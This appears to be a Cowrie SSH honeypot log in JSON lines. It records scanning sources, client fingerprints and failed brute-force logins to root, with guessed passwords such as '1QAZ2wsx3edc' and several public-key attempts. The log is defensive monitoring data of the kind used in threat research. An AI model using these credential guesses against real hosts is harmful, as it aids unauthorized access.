{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:17.160443Z","src_ip":"193.176.31.157","session":"49fd68ecd7ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":53258,"dst_ip":"159.203.135.109","dst_port":22,"session":"eab1d2e2a16f","protocol":"ssh","message":"New connection: 167.172.81.52:53258 (159.203.135.109:22) [session: eab1d2e2a16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:29.331205Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:29.338356Z","src_ip":"167.172.81.52","session":"eab1d2e2a16f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:29.344422Z","src_ip":"167.172.81.52","session":"eab1d2e2a16f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":56920,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2a233943f5b","protocol":"ssh","message":"New connection: 89.108.118.91:56920 (10.17.0.5:22) [session: d2a233943f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:35.289959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:35.330129Z","src_ip":"89.108.118.91","session":"d2a233943f5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:35.470779Z","src_ip":"89.108.118.91","session":"d2a233943f5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321!","message":"login attempt [root/123321!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:35.892090Z","src_ip":"89.108.118.91","session":"d2a233943f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:37.063089Z","src_ip":"89.108.118.91","session":"d2a233943f5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":58106,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f16806d69ad","protocol":"ssh","message":"New connection: 193.46.255.86:58106 (159.203.135.109:22) [session: 1f16806d69ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:43.664545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:43.668688Z","src_ip":"193.46.255.86","session":"1f16806d69ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:43.793164Z","src_ip":"193.46.255.86","session":"1f16806d69ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:44.364430Z","src_ip":"193.46.255.86","session":"1f16806d69ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:45.493040Z","src_ip":"193.46.255.86","session":"1f16806d69ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":43048,"dst_ip":"10.17.0.5","dst_port":22,"session":"f79de18f1717","protocol":"ssh","message":"New connection: 79.3.96.178:43048 (10.17.0.5:22) [session: f79de18f1717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:51.334792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:51.338962Z","src_ip":"79.3.96.178","session":"f79de18f1717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:51.470841Z","src_ip":"79.3.96.178","session":"f79de18f1717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2wsx3edc","message":"login attempt [root/1QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:52.031291Z","src_ip":"79.3.96.178","session":"f79de18f1717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:53.164858Z","src_ip":"79.3.96.178","session":"f79de18f1717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.246","src_port":54156,"dst_ip":"10.17.0.5","dst_port":22,"session":"f91ec6037a11","protocol":"ssh","message":"New connection: 78.111.67.246:54156 (10.17.0.5:22) [session: f91ec6037a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:12.625989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:12.631027Z","src_ip":"78.111.67.246","session":"f91ec6037a11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:12.729234Z","src_ip":"78.111.67.246","session":"f91ec6037a11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:82:8d:5f:77:eb:a2:c0:cb:71:a3:f2:fe:eb:2d:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClG7Z7h42LUPQwySfpXTmguSgpNBWyzlzerG18fvptHz+3gxJH04s6VYQEVJ7G+bDU+ZWLEVahpvnTu23GAzOwbz7PxlaRGFGbNPxcIa506W7N5uAUrCifJIlh52D66kajXkkiMnx4vXPk+mzJmw9qL65JCHRCKOXW8uR6MseKDrWeMFkA/uAv+6EIUXrUplbMoREOCbizdWz8zj6RBLIh3DfPs9iGkAAsAUsy943X7NtfL1X8wRhQDL53rVAdzcvmHyTSCYIAo2amRcbpZKSWdKvfpNtVq9jPlTaF8BF2UqN5IIOaYVdDuSDcU5Y/bOwIiKyv95YDGFV/tsPJ8Vf7+KV1kuec6daaIdsPvCO7C56K92OEEwyActzewWheCD0LdmwpgxBc+iYHYXAnp2TPPEGH6Qiu2nDWms9A7S+Q1W9EAgmne/erWlK2AW2tEQmjQtq9iKwIf83OuUaMNo9mWEOQMXkGzxlRBU3Wo4uCVrrAdX1zDCjmUSgh2iB1FdM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:82:8d:5f:77:eb:a2:c0:cb:71:a3:f2:fe:eb:2d:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:13.184089Z","src_ip":"78.111.67.246","session":"f91ec6037a11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:82:8d:5f:77:eb:a2:c0:cb:71:a3:f2:fe:eb:2d:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClG7Z7h42LUPQwySfpXTmguSgpNBWyzlzerG18fvptHz+3gxJH04s6VYQEVJ7G+bDU+ZWLEVahpvnTu23GAzOwbz7PxlaRGFGbNPxcIa506W7N5uAUrCifJIlh52D66kajXkkiMnx4vXPk+mzJmw9qL65JCHRCKOXW8uR6MseKDrWeMFkA/uAv+6EIUXrUplbMoREOCbizdWz8zj6RBLIh3DfPs9iGkAAsAUsy943X7NtfL1X8wRhQDL53rVAdzcvmHyTSCYIAo2amRcbpZKSWdKvfpNtVq9jPlTaF8BF2UqN5IIOaYVdDuSDcU5Y/bOwIiKyv95YDGFV/tsPJ8Vf7+KV1kuec6daaIdsPvCO7C56K92OEEwyActzewWheCD0LdmwpgxBc+iYHYXAnp2TPPEGH6Qiu2nDWms9A7S+Q1W9EAgmne/erWlK2AW2tEQmjQtq9iKwIf83OuUaMNo9mWEOQMXkGzxlRBU3Wo4uCVrrAdX1zDCjmUSgh2iB1FdM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:13.188883Z","src_ip":"78.111.67.246","session":"f91ec6037a11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:b5:98:92:27:84:5c:0d:77:47:c6:17:6f:17:3f:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxaECAKHrWeD2g3w1A5gkf1+0RpJGsm29AeJIkY2ynQAYQa4PToLqkL8BjF2YQpt3hIIzwVDx7wiUb+44u3lWoHHloSMo9qBF9VrGBctua5ciP2rN29MHKmurvhBR1GyEKhmRB3HooRSUpnoCJ6bNhU1n1Z1mpRcHK0u3S98Do/GVi3b91anqGSfsb7fp6vqLzWmDx/pHINy2mI1xnSAseZrejKd0KdhAakt8J+rwh6kH5PGN7RxcfNcGqtBsFjM3sUDQ4Kewzhd43SKq6+Obuh1A1uN6mCZ+OVBNlZ7GKelyt3q+UtElyFIIga284Gw5xyHwo+miA+m1Tfo6LeVPeCEp/xO+/Zde4ldQqpCu1kvhiPVPeCLzNDmO9L9KF2+vPuIPtvS5RUE2eJ7UZ/qvO6YPZmiStcLEJxT/G/nb3NltpyMpfBTuOuH56JUnQ7OgeI0qjhBR1pXYRLNkW0PG1q6uR3MdWxzVCdQxW2QIaKaP4SXaFWmENSbu8tb5Ksq3GwKnM1iFiohv6DiIc6YCJ7YqIAh8A5xsZiBfO6vW8fzVFAbw+3p3hnj59Va0FOmUR8vOUh9O+JDwuch2/0tvh/Wp5zW4Qw+fieJUyGf2bZ6U4eogsLe1RFzsVNsyBFGFIdRyQ3hD0qIO5uIhOYKbwdRKQRZSyN7wO8sfvb3vQ4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:b5:98:92:27:84:5c:0d:77:47:c6:17:6f:17:3f:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:13.290381Z","src_ip":"78.111.67.246","session":"f91ec6037a11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:b5:98:92:27:84:5c:0d:77:47:c6:17:6f:17:3f:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxaECAKHrWeD2g3w1A5gkf1+0RpJGsm29AeJIkY2ynQAYQa4PToLqkL8BjF2YQpt3hIIzwVDx7wiUb+44u3lWoHHloSMo9qBF9VrGBctua5ciP2rN29MHKmurvhBR1GyEKhmRB3HooRSUpnoCJ6bNhU1n1Z1mpRcHK0u3S98Do/GVi3b91anqGSfsb7fp6vqLzWmDx/pHINy2mI1xnSAseZrejKd0KdhAakt8J+rwh6kH5PGN7RxcfNcGqtBsFjM3sUDQ4Kewzhd43SKq6+Obuh1A1uN6mCZ+OVBNlZ7GKelyt3q+UtElyFIIga284Gw5xyHwo+miA+m1Tfo6LeVPeCEp/xO+/Zde4ldQqpCu1kvhiPVPeCLzNDmO9L9KF2+vPuIPtvS5RUE2eJ7UZ/qvO6YPZmiStcLEJxT/G/nb3NltpyMpfBTuOuH56JUnQ7OgeI0qjhBR1pXYRLNkW0PG1q6uR3MdWxzVCdQxW2QIaKaP4SXaFWmENSbu8tb5Ksq3GwKnM1iFiohv6DiIc6YCJ7YqIAh8A5xsZiBfO6vW8fzVFAbw+3p3hnj59Va0FOmUR8vOUh9O+JDwuch2/0tvh/Wp5zW4Qw+fieJUyGf2bZ6U4eogsLe1RFzsVNsyBFGFIdRyQ3hD0qIO5uIhOYKbwdRKQRZSyN7wO8sfvb3vQ4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:13.294411Z","src_ip":"78.111.67.246","session":"f91ec6037a11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:fa:bc:69:c2:5f:65:d7:41:92:a1:40:1c:ee:3d:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQX9+M5DEGrpy8flemYD9sa2be1HqO96Iaq7wszlvcWHUy3lIkVprg0a0F43gichqeL22RKt1n+wOC0D0LQ5hcpklwX6qa45vnPe+l6vEvY1dZR+b4q3Rc5m88C+9yLEgiEMgWc/RCBRvHoB2G4muzvwFeSvzCZhjRRR+OX3bMSmnZoOSRIPFuIrzbifylneZXL2C8Kh4slJk0iRZwLdmJXYhB2dQFT9UoDFbu8GkHfBQv4bWUduxqNBk8rQyyPS+81V84FS6olpcNel+Xzyw9X07M8BunOpKUCTnPy1nzqskb8wW0kABxdZa1cTyvS0z+06YDIdbQJF8O1+SehhTvAysS3cAKiCgNhULkMI+lpSYW3+dWZTvkeqMrn1kWbvtBMF0i4iidSZx+erf4LkL9YpdZmvXcGHxS9vIsxWzemPvJpNt5Eo1s6aVxyf8WrDyQ2KxPpXxekucetylQhMpg1ltGVzLXR3PXXQiK9c7ZxaC4voNM5n8VXCqBRCKbXaHAyIk8ECJquSJhvJ8GkJI6kH3uTKchgL+TtYK4M3BU5+xrSMGk27iFf56RZHOtVYfezy8RZ/fPqyjKA1nv4drT5h6bUVnVGpdaPKGrElv4uposmw+ZTDc0ivgCVjfQ/FvjVfQRQgDz5w2UX0bzM9y8oVOM+Eb2Gr8VBy+05RtBNw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:fa:bc:69:c2:5f:65:d7:41:92:a1:40:1c:ee:3d:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:13.391019Z","src_ip":"78.111.67.246","session":"f91ec6037a11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:fa:bc:69:c2:5f:65:d7:41:92:a1:40:1c:ee:3d:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQX9+M5DEGrpy8flemYD9sa2be1HqO96Iaq7wszlvcWHUy3lIkVprg0a0F43gichqeL22RKt1n+wOC0D0LQ5hcpklwX6qa45vnPe+l6vEvY1dZR+b4q3Rc5m88C+9yLEgiEMgWc/RCBRvHoB2G4muzvwFeSvzCZhjRRR+OX3bMSmnZoOSRIPFuIrzbifylneZXL2C8Kh4slJk0iRZwLdmJXYhB2dQFT9UoDFbu8GkHfBQv4bWUduxqNBk8rQyyPS+81V84FS6olpcNel+Xzyw9X07M8BunOpKUCTnPy1nzqskb8wW0kABxdZa1cTyvS0z+06YDIdbQJF8O1+SehhTvAysS3cAKiCgNhULkMI+lpSYW3+dWZTvkeqMrn1kWbvtBMF0i4iidSZx+erf4LkL9YpdZmvXcGHxS9vIsxWzemPvJpNt5Eo1s6aVxyf8WrDyQ2KxPpXxekucetylQhMpg1ltGVzLXR3PXXQiK9c7ZxaC4voNM5n8VXCqBRCKbXaHAyIk8ECJquSJhvJ8GkJI6kH3uTKchgL+TtYK4M3BU5+xrSMGk27iFf56RZHOtVYfezy8RZ/fPqyjKA1nv4drT5h6bUVnVGpdaPKGrElv4uposmw+ZTDc0ivgCVjfQ/FvjVfQRQgDz5w2UX0bzM9y8oVOM+Eb2Gr8VBy+05RtBNw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:13.395014Z","src_ip":"78.111.67.246","session":"f91ec6037a11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:c4:0d:1c:28:09:f3:d7:c6:d7:77:16:e7:38:49:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeJm/pUo+lY++seivwUfEWEYWyaJstYR3W2oqSY21Fm7q2/VQf1+6g9obZJqoyR5LtNr1RwyVsPyWevTAbdDL3ywv/UJhYXVuoKllm/QMXMfISWGQGGsQ3krUS2ycqgEovyWFL9JoEk23t3sJChMTcN7jOkb3US8n9CSNbw0aeySqpl4JsMg45ynIfEatP/zZOmybm6bCAPgZaJPNQMJ3i+2lMthSOfX6w5H6+9xRRBRSXfoJs9WmOUMln3mc+UI9VcS5IkMOErsBeY08FRi2NqgGhkw9mzTuwxbMUgrjsn9zF8jzZUVOg3Bt3ayF8/vNFWpxplcNnmusETJgHlFQ0qmVShojK9O8RnLgfDfvvijXnOuNKvsHyxuF2zmdViNJojb1JI3nBAUAKF6HC+5YIBVQcXmVdb4hDUQLm7TxkN4Nwu5TtafxWUMEIKNLEfgexhVGISzo2aeMmzwu1HLMi4tSmwDzppB+YIU9vdPcHuf2wecCetH9Q4M/9aocNFHbqJPNnRtUm2lv2d6jCrLf77x322+ETzzSBN0+sBdhvnBryGhxjrQ4ZThzQHzIYHaNhys3ScXWxAmC7tKA5G12s5z9uM/c8jEh4dUwGY0K96lGw0PXYxOr0368bCI0emMzf623kIlcQlq7ceZSUKwwcLcluQsbhtMYOlvBFnTtAWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:c4:0d:1c:28:09:f3:d7:c6:d7:77:16:e7:38:49:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:13.491643Z","src_ip":"78.111.67.246","session":"f91ec6037a11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:c4:0d:1c:28:09:f3:d7:c6:d7:77:16:e7:38:49:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeJm/pUo+lY++seivwUfEWEYWyaJstYR3W2oqSY21Fm7q2/VQf1+6g9obZJqoyR5LtNr1RwyVsPyWevTAbdDL3ywv/UJhYXVuoKllm/QMXMfISWGQGGsQ3krUS2ycqgEovyWFL9JoEk23t3sJChMTcN7jOkb3US8n9CSNbw0aeySqpl4JsMg45ynIfEatP/zZOmybm6bCAPgZaJPNQMJ3i+2lMthSOfX6w5H6+9xRRBRSXfoJs9WmOUMln3mc+UI9VcS5IkMOErsBeY08FRi2NqgGhkw9mzTuwxbMUgrjsn9zF8jzZUVOg3Bt3ayF8/vNFWpxplcNnmusETJgHlFQ0qmVShojK9O8RnLgfDfvvijXnOuNKvsHyxuF2zmdViNJojb1JI3nBAUAKF6HC+5YIBVQcXmVdb4hDUQLm7TxkN4Nwu5TtafxWUMEIKNLEfgexhVGISzo2aeMmzwu1HLMi4tSmwDzppB+YIU9vdPcHuf2wecCetH9Q4M/9aocNFHbqJPNnRtUm2lv2d6jCrLf77x322+ETzzSBN0+sBdhvnBryGhxjrQ4ZThzQHzIYHaNhys3ScXWxAmC7tKA5G12s5z9uM/c8jEh4dUwGY0K96lGw0PXYxOr0368bCI0emMzf623kIlcQlq7ceZSUKwwcLcluQsbhtMYOlvBFnTtAWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:13.495449Z","src_ip":"78.111.67.246","session":"f91ec6037a11","protocol":"ssh"}
